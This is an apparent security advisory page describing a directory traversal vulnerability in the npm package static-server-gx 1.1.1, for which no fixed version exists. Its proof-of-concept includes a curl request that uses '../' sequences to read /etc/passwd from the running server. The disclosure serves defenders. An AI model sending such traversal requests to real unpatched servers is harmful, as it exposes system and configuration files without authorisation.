static-server-gx@1.1.1 vulnerabilities

static-server

Direct Vulnerabilities

Known vulnerabilities in the static-server-gx package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Directory Traversal

static-server-gx is a static-server

Affected versions of this package are vulnerable to Directory Traversal. By manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system including application source code or configuration and critical system files.

PoC

Install the module

npm install -g static-server-gx
Run 'static-server-gx in "~/Desktop" directory:

nodejs /usr/lib/node_modules/static-server-gx/server.js 
Use cURL to access etc/passwd file:

curl --path-as-is --url "localhost:10000/../../../../etc/passwd"

How to fix Directory Traversal?

There is no fixed version for static-server-gx.

*